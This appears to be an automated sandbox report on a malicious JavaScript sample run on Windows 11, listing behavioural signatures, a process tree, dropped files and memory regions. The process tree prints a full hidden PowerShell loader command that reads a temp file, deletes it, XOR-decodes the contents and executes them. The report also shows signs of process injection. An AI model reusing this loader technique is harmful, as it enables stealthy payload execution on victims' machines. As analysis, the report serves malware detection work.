Analysis

  • max time kernel
    148s
  • max time network
    124s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/07/2026, 02:46

General

  • Target
    salesssprodddd.js
  • Size 1.3MB
  • Sample260703-c9s8jsft6p
  • SHA256 cc224698314418f3bfdf0880d76caf9367ecb78fda72867e9f3e68481739b5bd
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\salesssprodddd.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:6020
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$h=[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\tmp_57891_6d20').Trim();Remove-Item 'C:\Users\Admin\AppData\Local\Temp\tmp_57891_6d20' -Force -EA 0;$n=$h.Length/2;$b=[byte[]]::new($n);for($i=0;$i-lt$n;$i++){$b[$i]=[Convert]::ToByte($h.Substring($i*2,2),16)-bxor0xA5};$sc=[System.Text.Encoding]::UTF8.GetString($b);if($sc.Length-gt0-and[int][char]$sc[0]-eq65279){$sc=$sc.Substring(1)};iex $sc"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:6160
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j0xo3a1t\j0xo3a1t.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5740
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE068.tmp" "c:\Users\Admin\AppData\Local\Temp\j0xo3a1t\CSCC13C1085C6C34C81B2A8C4B3F38F32C.TMP"
          4⤵
            PID:1780
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
          3⤵
            PID:1476
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1476 -s 32
              4⤵
              • Program crash
              PID:2288
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1476 -ip 1476
        1⤵
          PID:1072

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              RESE068.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RESE068.tmp
              • Size 1KB
              • SHA256 35b33792d353d350451bd3896412deffb2bb2158adac5c87ad04e8108c9830aa
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_l2fnbp4s.gae.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l2fnbp4s.gae.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              j0xo3a1t.dll

              • Path C:\Users\Admin\AppData\Local\Temp\j0xo3a1t\j0xo3a1t.dll
              • Size 5KB
              • SHA256 4156e815801c2cbf2851a33a68a9aa5626d75a32cedc29650f3c0f5ba54870cb
              • MD5 SHA1 SHA512 SSDEEP TLSH

              tmp_57891_6d20

              • Path C:\Users\Admin\AppData\Local\Temp\tmp_57891_6d20
              • Size 719KB
              • SHA256 67d700077bd5f337838ec15d240c65334f7bd528d95b662dd7852d5fee921a4d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              CSCC13C1085C6C34C81B2A8C4B3F38F32C.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\j0xo3a1t\CSCC13C1085C6C34C81B2A8C4B3F38F32C.TMP
              • Size 652B
              • SHA256 1b2de95e9a87abc8644b1a6aadce90f1cba8021fbdcae18b3a667d67b23962a5
              • MD5 SHA1 SHA512 TLSH

              j0xo3a1t.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\j0xo3a1t\j0xo3a1t.0.cs
              • Size 3KB
              • SHA256 9578f1935441fa1f73ff75db335d4a8693ca649925853908d83e6e4b8a3838d7
              • MD5 SHA1 SHA512 TLSH

              j0xo3a1t.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\j0xo3a1t\j0xo3a1t.cmdline
              • Size 369B
              • SHA256 f647f1424af05ac9b20769eafed3228fbad66dd7d5188063bb81c8cc8df44daf
              • MD5 SHA1 SHA512 TLSH

              memory/1476-36-0x0000000000400000-0x0000000000446000-memory.dmp

              memory/6160-7-0x0000000004F60000-0x0000000004FC6000-memory.dmp

              memory/6160-1-0x0000000074632000-0x0000000074633000-memory.dmp

              memory/6160-16-0x0000000006070000-0x00000000060BC000-memory.dmp

              memory/6160-14-0x0000000005710000-0x0000000005A6B000-memory.dmp

              memory/6160-18-0x0000000006E00000-0x0000000006E96000-memory.dmp

              memory/6160-19-0x00000000061D0000-0x00000000061EA000-memory.dmp

              memory/6160-20-0x0000000006220000-0x0000000006242000-memory.dmp

              memory/6160-21-0x0000000007460000-0x0000000007A1A000-memory.dmp

              memory/6160-22-0x00000000080A0000-0x000000000871C000-memory.dmp

              memory/6160-15-0x0000000005C50000-0x0000000005C6E000-memory.dmp

              memory/6160-6-0x0000000004EF0000-0x0000000004F56000-memory.dmp

              memory/6160-5-0x0000000004E50000-0x0000000004E72000-memory.dmp

              memory/6160-4-0x0000000005020000-0x000000000566A000-memory.dmp

              memory/6160-3-0x0000000074620000-0x0000000074DDC000-memory.dmp

              memory/6160-35-0x0000000007100000-0x0000000007108000-memory.dmp

              memory/6160-2-0x0000000002740000-0x0000000002776000-memory.dmp

              memory/6160-38-0x0000000074620000-0x0000000074DDC000-memory.dmp